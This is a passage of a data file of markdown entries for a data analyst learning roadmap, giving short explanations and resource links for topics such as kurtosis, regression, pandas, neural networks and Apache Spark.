    "path": "src/data/roadmaps/data-analyst/content/kurtosis@PqGO8AU1zE2ZdtqrIrOkZ.md",
    "content": "# Kurtosis\n\nUnderstanding distribution shapes is an integral part of a Data Analyst's daily responsibilities. When they inspect statistical data, one key feature they consider is the kurtosis of the distribution. In statistics, kurtosis identifies the heaviness of the distribution tails and the sharpness of the peak. A proper understanding of kurtosis can assist Analysts in risk management, outlier detection, and provides deeper insight into variations. Therefore, being proficient in interpreting kurtosis measurements of a distribution shape is a significant skill that every data analyst should master.\n\nVisit the following resources to learn more:\n\n- [@article@Kurtosis: Definition, Types, and Importance](https://www.investopedia.com/terms/k/kurtosis.asp)\n- [@video@What is Kurtosis?](https://www.youtube.com/watch?v=AsxEDBhESJg)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/learn-a-programming-lang@i2uEcaO4bJhcZ5ayRs2CQ.md",
    "content": "# Learn a Programming Language\n\nWe have two main programming languages when it comes to data analysis: Python and R. Both have extensive libraries to help with decision-making processes in various situations, assisting in manipulating, modeling, and visualizing data. Python is a versatile language, used not only for data analysis but also for web development, automation, artificial intelligence, and more. R, on the other hand, was specifically created for statistical analysis and data visualization, making it an excellent choice for statisticians and researchers. It is known for its advanced visualization capabilities, allowing the creation of highly customizable and sophisticated graphs and plots.\n\nWith potential doubts about which language to choose to advance in a data career, it is ideal to consider your goals and/or the current market needs and choose which language to learn. If you are more interested in a career that combines data analysis with software development, automation, or artificial intelligence, Python may be the best choice. If your focus is purely on statistics and data visualization, R might be more suitable.\n\nVisit the following resources to learn more:\n\n- [@article@Python Data Science Handbook](https://jakevdp.github.io/PythonDataScienceHandbook/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/line-chart@v9T0DX56jFNhUz9nzubzS.md",
    "content": "# Line Chart\n\nData visualization is a crucial skill for every Data Analyst and the Line Chart is one of the most commonly used chart types in this field. Line charts act as powerful tools for summarizing and interpreting complex datasets. Through attractive and interactive design, these charts allow for clear and efficient communication of patterns, trends, and outliers in the data. This makes them valuable for data analysts when presenting data spanning over a period of time, forecasting trends or demonstrating relationships between different data sets.\n\nVisit the following resources to learn more:\n\n- [@article@Line Graph: Definition, Types, Parts, Uses, and Examples](https://www.investopedia.com/terms/l/line-graph.asp)\n- [@video@What is a line graph?](https://www.youtube.com/watch?v=rw-MxkzymEw)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/logistic-regression@ofOQKAIu4rezWmgZeE-KT.md",
    "content": "# Logistic\n\nLogistic Regression is one of the foundational techniques that a data analyst must understand in machine learning. This method is a predictive analysis algorithm based on the concept of probability. It’s used for categorizing data into distinct classes, making it particularly useful for binary classification problems. It should be understood that despite its name, logistic regression is used in classification problems, not regression tasks. Data analysts use this algorithm to build machine learning models to solve various real-world problems such as email spam, credibility of loan applicants, development of marketing strategies and so on.\n\nVisit the following resources to learn more:\n\n- [@article@Everything you need to know about Logistic Regression](https://www.spiceworks.com/tech/artificial-intelligence/articles/what-is-logistic-regression/)\n- [@article@Logistic Regression for Machine Learning](https://machinelearningmastery.com/logistic-regression-for-machine-learning/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/machine-learning@U55hwR0HRCIz2cveVR8FZ.md",
    "content": "# Machine Learning - A Key Concept for Data Analysts\n\nMachine learning, a subset of artificial intelligence, is an indispensable tool in the hands of a data analyst. It provides the ability to automatically learn, improve from experience and make decisions without being explicitly programmed. In the context of a data analyst, machine learning contributes significantly in uncovering hidden insights, recognising patterns or making predictions based on large amounts of data. Through the use of varying algorithms and models, data analysts are able to leverage machine learning to convert raw data into meaningful information, making it a critical concept in data analysis.\n\nVisit the following resources to learn more:\n\n- [@article@What is Machine Learning (ML)?](https://www.ibm.com/topics/machine-learning)\n- [@video@What is Machine Learning?](https://www.youtube.com/watch?v=9gGnTQTYNaE)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/machine-learning@f4GuzeokP9w_gwtOquP0g.md",
    "content": "# Machine Learning Basics for Data Analysts\n\nData analysts are becoming increasingly involved in the realm of machine learning. This emerging technology harnesses algorithms, statistical models, and other tools to teach machines to perform tasks that would normally require human intelligence. This includes activities such as making predictions based on data, recognizing patterns, and making decisions. Understanding the basics of machine learning is therefore not only beneficial, but essential, to modern data analysts who wish to stay competitive in their field."
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/mapreduce@eAM9orCNwzqh34uvGBVm8.md",
    "content": "# MapReduce\n\nMapReduce is a prominent data processing technique used by Data Analysts around the world. It allows them to handle large data sets with complex, unstructured data efficiently. MapReduce breaks down a big data problem into smaller sub-tasks (Map) and then takes those results to create an output in a more usable format (Reduce). This technique is particularly useful in conducting exploratory analysis, as well as in handling big data operations such as text processing, graph processing, or more complicated machine learning algorithms.\n\nVisit the following resources to learn more:\n\n- [@article@MapReduce](https://www.databricks.com/glossary/mapreduce)\n- [@article@What is Apache MapReduce?](https://www.ibm.com/topics/mapreduce)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/matplotlib@tvDdXwaRPsUSTqJGaLS3P.md",
    "content": "# Matplotlib\n\nFor a Data Analyst, understanding data and being able to represent it in a visually insightful form is a crucial part of effective decision-making in any organization. Matplotlib, a plotting library for the Python programming language, is an extremely useful tool for this purpose. It presents a versatile framework for generating line plots, scatter plots, histogram, bar charts and much more in a very straightforward manner. This library also allows for comprehensive customizations, offering a high level of control over the look and feel of the graphics it produces, which ultimately enhances the quality of data interpretation and communication.\n\nVisit the following resources to learn more:\n\n- [@official@Matplotlib](https://matplotlib.org/)\n- [@video@Learn Matplotlib in 6 minutes](https://www.youtube.com/watch?v=nzKy9GY12yo)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/matplotlib@uGkXxdMXUMY-3fQFS1jK8.md",
    "content": "# Matplotlib\n\nMatplotlib is a paramount data visualization library used extensively by data analysts for generating a wide array of plots and graphs. Through Matplotlib, data analysts can convey results clearly and effectively, driving insights from complex data sets. It offers a hierarchical environment which is very natural for a data scientist to work with. Providing an object-oriented API, it allows for extensive customization and integration into larger applications. From histograms, bar charts, scatter plots to 3D graphs, the versatility of Matplotlib assists data analysts in the better comprehension and compelling representation of data.\n\nVisit the following resources to learn more:\n\n- [@official@Matplotlib](https://matplotlib.org/)\n- [@video@Learn Matplotlib in 6 minutes](https://www.youtube.com/watch?v=nzKy9GY12yo)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/mean@923KGEUG9ofBm7dYkkrxz.md",
    "content": "# Mean\n\nCentral tendency refers to the statistical measure that identifies a single value as representative of an entire distribution. The mean or average is one of the most popular and widely used measures of central tendency. For a data analyst, calculating the mean is a routine task. This single value provides an analyst with a quick snapshot of the data and could be useful for further data manipulation or statistical analysis. Mean is particularly helpful in predicting trends and patterns within voluminous data sets or adjusting influencing factors that may distort the 'true' representation of the data. It is the arithmetic average of a range of values or quantities, computed as the total sum of all the values divided by the total number of values.\n\nVisit the following resources to learn more:\n\n- [@article@Measures of Central Tendency](https://statistics.laerd.com/statistical-guides/measures-central-tendency-mean-mode-median.php)\n- [@article@Central Tendency | Understanding the Mean, Median & Mode](https://www.scribbr.co.uk/stats/measures-of-central-tendency/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/median@qdXoikVh2xkJkOQNKcyvb.md",
    "content": "# Median\n\nMedian signifies the middle value in a data set when arranged in ascending or descending order. As a data analyst, understanding, calculating, and interpreting the median is crucial. It is especially helpful when dealing with outliers in a dataset as the median is less sensitive to extreme values. Thus, providing a more realistic 'central' value for skewed distributions. This measure is a reliable reflection of the dataset and is widely used in fields like real estate, economics, and finance for data interpretation and decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@How to find the median value](https://www.mathsisfun.com/median.html)\n- [@article@Median: What It Is and How to Calculate It](https://www.investopedia.com/terms/m/median.asp)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/min--max@F3-cr5onkWqKKPRdxu8lV.md",
    "content": "# Min / Max Function\n\nUnderstanding the minimum and maximum values in your dataset is critical in data analysis. These basic functions, often referred to as Min-Max functions, are statistical tools that data analysts use to inspect the distribution of a particular dataset. By identifying the lowest and highest values, data analysts can gain insight into the range of the dataset, identify possible outliers, and understand the data's variability. Beyond their use in descriptive statistics, Min-Max functions also play a vital role in data normalization, shaping the accuracy of predictive models in Machine Learning and AI fields.\n\nVisit the following resources to learn more:\n\n- [@article@MIN Function](https://support.microsoft.com/en-gb/office/min-function-61635d12-920f-4ce2-a70f-96f202dcc152)\n- [@article@MAX Function](https://support.microsoft.com/en-gb/office/max-function-e0012414-9ac8-4b34-9a47-73e662c08098)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/mode@fY8zVG2tVbmtx5OhY7hj-.md",
    "content": "# Mode\n\nThe concept of central tendency is fundamental in statistics and has numerous applications in data analysis. From a data analyst's perspective, the central tendencies like mean, median, and mode can be highly informative about the nature of data. Among these, the \"Mode\" is often underappreciated, yet it plays an essential role in interpreting datasets.\n\nThe mode, in essence, represents the most frequently occurring value in a dataset. While it may appear simplistic, the mode's ability to identify the most common value can be instrumental in a wide range of scenarios, like market research, customer behavior analysis, or trend identification. For instance, a data analyst can use the mode to determine the most popular product in a sales dataset or identify the most commonly reported bug in a software bug log.\n\nBeyond these, utilizing the mode along with the other measures of central tendency (mean and median) can provide a more rounded view of your data. This approach personifies the diversity that's often required in data analytic strategies to account for different data distributions and outliers. The mode, therefore, forms an integral part of the data analyst's toolkit for statistical data interpretation.\n\nVisit the following resources to learn more:\n\n- [@article@Mode: What is it and how to calculate it](https://www.investopedia.com/terms/m/mode.asp)\n- [@article@Mean Median Mode Formula](https://www.cuemath.com/mean-median-mode-formula/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/model-evaluation-techniques@7ikA373qH88HBx5irCgIH.md",
    "content": "# Model Evaluation Techniques\n\nAs a data analyst, it's crucial to understand various model evaluation techniques. These techniques involve different methods to measure the performance or accuracy of machine learning models. For instance, using confusion matrix, precision, recall, F1 score, ROC curves or Root Mean Squared Error (RMSE) among others. Knowing how to apply these techniques effectively not only helps in selecting the best model for a specific problem but also guides in tuning the performance of the models for optimal results. Understanding these model evaluation techniques also allows data analysts to interpret evaluation results and determine the effectiveness and applicability of a model.\n\nVisit the following resources to learn more:\n\n- [@article@What is Model Evaluation](https://domino.ai/data-science-dictionary/model-evaluation)\n- [@article@Model Evaluation Metrics](https://www.markovml.com/blog/model-evaluation-metrics)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/mpi@fqCAH4Enc4AAJHoSkk2Pe.md",
    "content": "# MPI\n\nMessage Passing Interface (MPI) is a pioneering technique in the broader realm of data processing strategies. As a data analyst, understanding and implementing MPI is pivotal for managing massive data sets. MPI is an authorized standard for performing parallel computing, which allows concurrent data processing, maintaining a highly efficient and time-saving operation. This system exchanges data between separate tasks and aids in solving complex problems related to computations and data analysis. By leveraging MPI in data processing, analysts can expect to optimize their work and contribute to faster decision-making, thereby enhancing the overall organizational efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Message Passing Interface Forum](https://www.mpi-forum.org/)\n- [@article@Microsoft MPI](https://learn.microsoft.com/en-us/message-passing-interface/microsoft-mpi)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/naive-byes@zbUw5PyVsdccbgDTRHg7d.md",
    "content": "# Naive Bayes\n\nAs a data analyst, understanding various machine learning algorithms is crucial. Naive Bayes is one of such basic yet powerful algorithms used for predictive modeling and data classification. This algorithm applies the principles of probability and statistics, specifically Bayes' theorem, with a 'naive' assumption of independence among the predictors. Ideal for dealing with large volumes of data, Naive Bayes is a competitive algorithm for text classification, spam filtering, recommendation systems, and more. Understanding Naive Bayes can significantly improve the ability of a data analyst to create more effective models and deliver superior analytical results.\n\nVisit the following resources to learn more:\n\n- [@article@What are Naïve Bayes classifiers?](https://www.ibm.com/topics/naive-bayes)\n- [@article@Naive Bayes](https://scikit-learn.org/stable/modules/naive_bayes.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/natural-language-processing@DFv-eiYDicF4cA4jgVk9_.md",
    "content": "# Natural Language Processing\n\nIn the sphere of data analysis, Natural Language Processing (NLP) has emerged as a critical aspect. NLP is a branch of artificial intelligence that involves the interaction between computers and human languages. It allows computers to understand, interpret, and generate human languages with meaning and context. This capability opens up potent avenues for data analysts, who often have to handle unstructured data such as customer reviews, comments, and other textual content.\n\nDeep Learning, a subset of machine learning based on artificial neural networks, is particularly effective for NLP tasks, enabling computers to learn from vast amounts of data. For data analysts, understanding and utilizing the potentials of NLP can greatly improve the efficiency of data processing and extraction of meaningful insights, especially when dealing with large or complex data sets. This knowledge can significantly enhance their ability to make data-driven decisions and predictions tailored to specific business objectives.\n\nVisit the following resources to learn more:\n\n- [@article@What is NLP?](https://aws.amazon.com/what-is/nlp/)\n- [@article@Natural Language Processing](https://www.deeplearning.ai/resources/natural-language-processing/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/neural-networks@gGHsKcS92StK5FolzmVvm.md",
    "content": "# Neural Networks\n\nNeural Networks play a pivotal role in the landscape of deep learning, offering a plethora of benefits and applications for data analysts. They are computational models that emulate the way human brain processes information, enabling machines to make intelligent decisions. As a data analyst, understanding and utilizing neural networks can greatly enhance decision-making process as it allows to quickly and effectively analyze large datasets, recognize patterns, and forecast future trends. In deep learning, these networks are used for creating advanced models that can tackle complex tasks such as image recognition, natural language processing, and speech recognition, to name but a few. Therefore, an in-depth knowledge of neural networks is a significant asset for any aspiring or professional data analyst.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Neural Network?](https://aws.amazon.com/what-is/neural-network/)\n- [@article@Explained: Neural networks](https://news.mit.edu/2017/explained-neural-networks-deep-learning-0414)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/pandas@8OXmF2Gn6TYJotBRvDjqA.md",
    "content": "# Pandas\n\nPandas is a widely acknowledged and highly useful data manipulation library in the world of data analysis. Known for its robust features like data cleaning, wrangling and analysis, pandas has become one of the go-to tools for data analysts. Built on NumPy, it provides high-performance, easy-to-use data structures and data analysis tools. In essence, its flexibility and versatility make it a critical part of the data analyst's toolkit, as it holds the capability to cater to virtually every data manipulation task.\n\nVisit the following resources to learn more:\n\n- [@official@Pandas](https://pandas.pydata.org/)\n- [@video@NumPy vs Pandas](https://www.youtube.com/watch?v=KHoEbRH46Zk)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/pandas@TucngXKNptbeo3PtdJHX8.md",
    "content": "# Pandas for Data Cleaning\n\nIn the realms of data analysis, data cleaning is a crucial preliminary process, this is where `pandas` - a popular python library - shines. Primarily used for data manipulation and analysis, pandas adopts a flexible and powerful data structure (DataFrames and Series) that greatly simplifies the process of cleaning raw, messy datasets. Data analysts often work with large volumes of data, some of which may contain missing or inconsistent data that can negatively impact the results of their analysis. By utilizing pandas, data analysts can quickly identify, manage and fill these missing values, drop unnecessary columns, rename column headings, filter specific data, apply functions for more complex data transformations and much more. Thus, making pandas an invaluable tool for effective data cleaning in data analysis.\n\nVisit the following resources to learn more:\n\n- [@official@Pandas](https://pandas.pydata.org/)\n- [@video@NumPy vs Pandas](https://www.youtube.com/watch?v=KHoEbRH46Zk)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/parallel-processing@Fwwve0j-KDfc605IIgmil.md",
    "content": "# Parallel Processing\n\nParallel processing is an efficient form of data processing that allows Data Analysts to deal with larger volumes of data at a faster pace. It is a computational method that allows multiple tasks to be performed concurrently, instead of sequentially, thus, speeding up data processing. Parallel processing proves to be invaluable for Data Analysts, as they are often tasked with analyzing huge data sets and compiling reports in real-time. As the demand for rapid data processing and quick analytics is on the rise, the technique of parallel processing forms a critical element in the versatile toolkit of a Data Analyst.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Parallel Processing?](https://www.spiceworks.com/tech/iot/articles/what-is-parallel-processing/)\n- [@article@How Parallel Computing Works](https://computer.howstuffworks.com/parallel-processing.htm)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/pie-charts@K9xwm_Vpdup9ujYqlD9F3.md",
    "content": "# Pie Chart\n\nAs a data analyst, understanding and efficiently using various forms of data visualization is crucial. Among these, Pie Charts represent a significant tool. Essentially, pie charts are circular statistical graphics divided into slices to illustrate numerical proportions. Each slice of the pie corresponds to a particular category. The pie chart's beauty lies in its simplicity and visual appeal, making it an effective way to convey relative proportions or percentages at a glance. For a data analyst, it's particularly useful when you want to show a simple distribution of categorical data. Like any tool, though, it's important to use pie charts wisely—ideally, when your data set has fewer than seven categories, and the proportions between categories are distinct.\n\nVisit the following resources to learn more:\n\n- [@article@A Complete Guide to Pie Charts](https://www.atlassian.com/data/charts/pie-chart-complete-guide)\n- [@video@What is a Pie Chart](https://www.youtube.com/watch?v=GjJdZaQrItg)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/pivot-tables@2DDJUFr0AJTVR2Whj8zub.md",
    "content": "# Pivot Tables\n\nData Analysts recurrently find the need to summarize, investigate, and analyze their data to make meaningful and insightful decisions. One of the most powerful tools to accomplish this in Microsoft Excel is the Pivot Table. Pivot Tables allow analysts to organize and summarize large quantities of data in a concise, tabular format. The strength of pivot tables comes from their ability to manipulate data dynamically, leading to quicker analysis and richer insights. Understanding and employing Pivot Tables efficiently is a fundamental skill for any data analyst, as it directly impacts their ability to derive significant information from raw datasets.\n\nVisit the following resources to learn more:\n\n- [@article@Create a Pivot Table](https://support.microsoft.com/en-gb/office/create-a-pivottable-to-analyze-worksheet-data-a9a84538-bfe9-40a9-a8e9-f99134456576)\n- [@article@Pivot Tables in Excel](https://www.excel-easy.com/data-analysis/pivot-tables.html)\n- [@video@How to Create a Pivot Table in Excel](https://www.youtube.com/watch?v=PdJzy956wo4)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/power-bi@SJLeose5vZU8w_18C8_t0.md",
    "content": "# PowerBI\n\nPowerBI, an interactive data visualization and business analytics tool developed by Microsoft, plays a crucial role in the field of a data analyst's work. It helps data analysts to convert raw data into meaningful insights through it's easy-to-use dashboards and reports function. This tool provides a unified view of business data, allowing analysts to track and visualize key performance metrics and make better-informed business decisions. With PowerBI, data analysts also have the ability to manipulate and produce visualizations of large data sets that can be shared across an organization, making complex statistical information more digestible.\n\nVisit the following resources to learn more:\n\n- [@official@Power BI](https://www.microsoft.com/en-us/power-platform/products/power-bi)\n- [@video@Power BI for beginners](https://www.youtube.com/watch?v=NNSHu0rkew8)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/predictive-analytics@3WZORRCwme3HsaKew23Z5.md",
    "content": "# Predictive Analysis\n\nPredictive analysis is a crucial type of data analytics that any competent data analyst should comprehend. It refers to the practice of extracting information from existing data sets in order to determine patterns and forecast future outcomes and trends. Data analysts apply statistical algorithms, machine learning techniques, and artificial intelligence to the data to anticipate future results. Predictive analysis enables organizations to be proactive, forward-thinking, and strategic by providing them valuable insights on future occurrences. It's a powerful tool that gives companies a significant competitive edge by enabling risk management, opportunity identification, and strategic decision-making.\n\nVisit the following resources to learn more:\n\n- [@article@What is Predictive Analytics? - Google](https://cloud.google.com/learn/what-is-predictive-analytics)\n- [@video@What is Predictive Analytics?](https://www.youtube.com/watch?v=cVibCHRSxB0)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/prescriptive-analytics@DFMR-0MbmVCCrJu0I9JWG.md",
    "content": "# Prescriptive Analytics\n\nPrescriptive analytics, a crucial type of data analytics, is essential for making data-driven decisions in business and organizational contexts. As a data analyst, the goal of prescriptive analytics is to recommend various actions using predictions on the basis of known parameters to help decision makers understand likely outcomes. Prescriptive analytics employs a blend of techniques and tools such as algorithms, machine learning, computational modelling procedures, and decision-tree structures to enable automated decision making. Therefore, prescriptive analytics not only anticipates what will happen and when it will happen, but also explains why it will happen, contributing to the significance of a data analyst’s role in an organization.\n\nVisit the following resources to learn more:\n\n- [@article@What is Prescriptive Analysis?](https://www.investopedia.com/terms/p/prescriptive-analytics.asp)\n- [@video@Examples of Prescriptive Analysis](https://www.youtube.com/watch?v=NOo8Nc9zG20)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/pytorch@LJSqfz6aYJbCe_bK8EWI1.md",
    "content": "# PyTorch\n\nPyTorch, an open-source machine learning library, has gained considerable popularity among data analysts due to its simplicity and high performance in tasks such as natural language processing and artificial intelligence. Specifically, in the domain of deep learning, PyTorch stands out due to its dynamic computational graph, allowing for a highly intuitive and flexible platform for building complex models. For data analysts, mastering PyTorch can open up a broad range of opportunities for data model development, data processing, and integration of machine learning algorithms.\n\nVisit the following resources to learn more:\n\n- [@official@PyTorch](https://pytorch.org/)\n- [@official@PyTorch Documentation](https://pytorch.org/docs/stable/index.html)\n- [@video@PyTorch in 100 seconds](https://www.youtube.com/watch?v=ORMx45xqWkA)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/r@g_EBQizZsIe-vn8ir6FTv.md",
    "content": "# R\n\nR is a powerful language profoundly used by data analysts and statisticians across the globe. Offering a wide array of statistical and graphical techniques, R proves to be an excellent tool for data manipulation, statistical modeling and visualization. With its comprehensive collection of packages and built-in functions for data analysis, R allows data analysts to perform complex exploratory data analysis, build sophisticated models and create stunning visualizations. Moreover, given its open-source nature, R consistently advances with contributions from the worldwide statistical community.\n\nVisit the following resources to learn more:\n\n- [@official@R Website](https://www.r-project.org/about.html)\n- [@video@R vs Python | Which is Better for Data Analysis?](https://www.youtube.com/watch?v=1gdKC5O0Pwc)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/range@tSxtyJhL5wjU0XJcjsJmm.md",
    "content": "# Range\n\nThe concept of Range refers to the spread of a dataset, primarily in the realm of statistics and data analysis. This measure is crucial for a data analyst as it provides an understanding of the variability amongst the numbers within a dataset. Specifically in a role such as Data Analyst, understanding the range and dispersion aids in making more precise analyses and predictions. Understanding the dispersion within a range can highlight anomalies, identify standard norms, and form the foundation for statistical conclusions like the standard deviation, variance, and interquartile range. It allows for the comprehension of the reliability and stability of particular datasets, which can help guide strategic decisions in many industries. Therefore, range is a key concept that every data analyst must master.\n\nVisit the following resources to learn more:\n\n- [@article@How to Find the Range of a Data Set](https://www.scribbr.co.uk/stats/range-statistics/)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/regression@lTycWscyFPi-BtkNg9cdm.md",
    "content": "# Regression\n\nAs a data analyst, understanding regression is of paramount importance. Regression analysis is a form of predictive modelling technique which investigates the relationship between dependent and independent variables. It is used for forecast, time series modelling and finding the causal effect relationship between variables. In essence, Regression techniques are used by data analysts to predict a continuous outcome variable (dependent variable) based on one or more predictor variables (independent variables). The main goal is to understand how the typical value of the dependent variable changes when any one of the independent variables is varied, while the other independent variables are held fixed. This understanding of regression takes data analysis from a reactive position to a more powerful, predictive one, equipping data analysts with an integral tool in their work.\n\nVisit the following resources to learn more:\n\n- [@article@Regression: Definition, Analysis, Calculation, and Example](https://www.investopedia.com/terms/r/regression.asp)\n- [@article@A Refresher on Regression Analysis - Harvard](https://hbr.org/2015/11/a-refresher-on-regression-analysis)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/reinforcement-learning@XdBwqLoYYiLJNlWPBEDUj.md",
    "content": "# Reinforcement\n\nReinforcement learning is a key topic within the broader realm of machine learning. Data analysts and other professionals dealing with data often utilize reinforcement learning techniques. In simple, it can be considered as a type of algorithm that uses trial and error to come up with solutions to problems. Notably, these algorithms learn the ideal behaviour within a specific context, with the intention of maximizing performance. As a data analyst, understanding reinforcement learning provides a crucial expertise, especially when dealing with complex data structures and making strategic decisions based on that data.\n\nVisit the following resources to learn more:\n\n- [@article@What is reinforcement learning](https://aws.amazon.com/what-is/reinforcement-learning/#:~:text=Reinforcement%20learning%20(RL)%20is%20a,use%20to%20achieve%20their%20goals.)\n- [@article@What is reinforcement learning - IBM](https://www.ibm.com/topics/reinforcement-learning)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/removing-duplicates@Xltm7B-8TZ1-igLjVJXoR.md",
    "content": "# Removing Duplicates\n\nIn the world of data analysis, a critical step is data cleaning, that includes an important sub-task: removing duplicate entries. Duplicate data can distort the results of data analysis by giving extra weight to duplicate instances and leading to biased or incorrect conclusions. Despite the quality of data collection, there's a high probability that datasets may contain duplicate records due to various factors like human error, merging datasets, etc. Therefore, data analysts must master the skill of identifying and removing duplicates to ensure that their analysis is based on a unique, accurate, and diverse set of data. This process contributes to more accurate predictions and inferences, thus maximizing the insights gained from the data.\n\nVisit the following resources to learn more:\n\n- [@article@Handling Duplicate Values and Outliers in a dataset](https://medium.com/@ayushmandurgapal/handling-duplicate-values-and-outliers-in-a-dataset-b00ce130818e)\n- [@video@How To Remove Duplicates in a Dataset and Find Unique Values](https://www.youtube.com/watch?v=KBzYrvjUsps)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/replace--substitute@dke_pySrqYZZ7K3rprnIT.md",
    "content": "# REPLACE / SUBSTITUTE\n\nIn Microsoft Excel, the REPLACE and SUBSTITUTE functions are powerful tools used for modifying text data within cells. Both functions serve to alter text but are utilized in different scenarios based on the nature of the changes needed.\n\nThe SUBSTITUTE function is used to replace occurrences of a specified substring with a new substring. It allows for replacing text based on matching characters rather than position, making it ideal for altering specific instances of text within a string.\n\nThe REPLACE function is used to replace part of a text string with another text string, based on its position within the original text. It is particularly useful when you need to replace a specific segment of text with new text, starting at a designated position.\n\nVisit the following resources to learn more:\n\n- [@article@Replace Function](https://support.microsoft.com/en-us/office/replace-function-8d799074-2425-4a8a-84bc-82472868878a)\n- [@article@Substitute Function](https://support.microsoft.com/en-us/office/substitute-function-6434944e-a904-4336-a9b0-1e58df3bc332)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/rnn@Gocm98_tRg5BGxKcP-7zg.md",
    "content": "# Understanding RNNs\n\nRecurrent Neural Networks(RNNs) are a type of Artificial Neural Networks(ANNs) which introduces us to the realm of Deep Learning, an aspect that has been significantly contributing to the evolution of Data Analysis. RNNs are specifically designed to recognize patterns in sequences of data, such as text, genomes, handwriting, or the spoken word. This inherent feature of RNNs makes them extremely useful and versatile for a data analyst.\n\nA data analyst leveraging RNNs can effectively charter the intrinsic complexity of data sequences, classify them, and make accurate predictions. With the fundamental understanding of deep learning, data analysts can unlock the full potential of RNNs in delivering insightful data analysis that goes beyond traditional statistical methods. Modern research and applications of RNNs extend to multiple domains including natural language processing, speech recognition, and even in the financial sphere for stock price prediction making this a key tool in a data analyst’s arsenal.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Recurrent Neural Network (RNN)?](https://www.ibm.com/topics/recurrent-neural-networks)\n- [@article@Recurrent Neural Networks Cheat-sheet](https://stanford.edu/~shervine/teaching/cs-230/cheatsheet-recurrent-neural-networks)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/scatter-plot@A5YQv7D4qRcskdZ64XldH.md",
    "content": "# Scatter Plot\n\nA scatter plot, a crucial aspect of data visualization, is a mathematical diagram using Cartesian coordinates to represent values from two different variables. As a data analyst, understanding and interpreting scatter plots can be instrumental in identifying correlations and trends within a dataset, drawing meaningful insights, and showcasing these findings in a clear, visual manner. In addition, scatter plots are paramount in predictive analytics as they reveal patterns which can be used to predict future occurrences.\n\nVisit the following resources to learn more:\n\n- [@article@Mastering Scatter Plots](https://www.atlassian.com/data/charts/what-is-a-scatter-plot)\n- [@video@Scatter Graphs: What are they and how to plot them](https://www.youtube.com/watch?v=Vyg9qmBsgAc)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/seaborn@-cJb8gEBvdVFf7FlgG3Ud.md",
    "content": "# Seaborn\n\nSeaborn is a robust, comprehensive Python library focused on the creation of informative and attractive statistical graphics. As a data analyst, seaborn plays an essential role in elaborating complex visual stories with the data. It aids in understanding the data by providing an interface for drawing attractive and informative statistical graphics. Seaborn is built on top of Python's core visualization library Matplotlib, and is integrated with data structures from Pandas. This makes seaborn an integral tool for data visualization in the data analyst's toolkit, making the exploration and understanding of data easier and more intuitive.\n\nVisit the following resources to learn more:\n\n- [@official@Seaborn](https://seaborn.pydata.org/)\n- [@video@Seaborn Tutorial : Seaborn Full Course](https://www.youtube.com/watch?v=6GUZXDef2U0)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/skewness@VfcCRRqwLxkYpIX0ZKNNX.md",
    "content": "# Skewness\n\nSkewness is a crucial statistical concept driven by data analysis and is a significant parameter in understanding the distribution shape of a dataset. In essence, skewness provides a measure to define the extent and direction of asymmetry in data. A positive skewness indicates a distribution with an asymmetric tail extending towards more positive values, while a negative skew indicates a distribution with an asymmetric tail extending towards more negative values. For a data analyst, recognizing and analyzing skewness is essential as it can greatly influence model selection, prediction accuracy, and interpretation of results.\n\nVisit the following resources to learn more:\n\n- [@article@Skewed Data](https://www.mathsisfun.com/data/skewness.html)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/spark@vaiigToDh4522rtWamuSM.md",
    "content": "# Spark\n\nAs a big data processing framework, Apache Spark showcases immense importance in the field of data analysis. Abreast with the ability to handle both batch and real-time analytics, Spark offers an interface for programming entire clusters with implicit data parallelism and fault tolerance. As a data analyst, mastery over Spark becomes essential in order to efficiently process and analyze complex and high-volume data. This powerful open-source tool can simplify the daunting task of gleaning actionable insights from massive, disparate data sets.\n\nVisit the following resources to learn more:\n\n- [@official@Apache Spark](https://spark.apache.org/)\n- [@opensource@apache/spark](https://github.com/apache/spark)"
  },
  {
    "path": "src/data/roadmaps/data-analyst/content/stacked-charts@329BrtmXjXNLfi1SFfdeo.md",
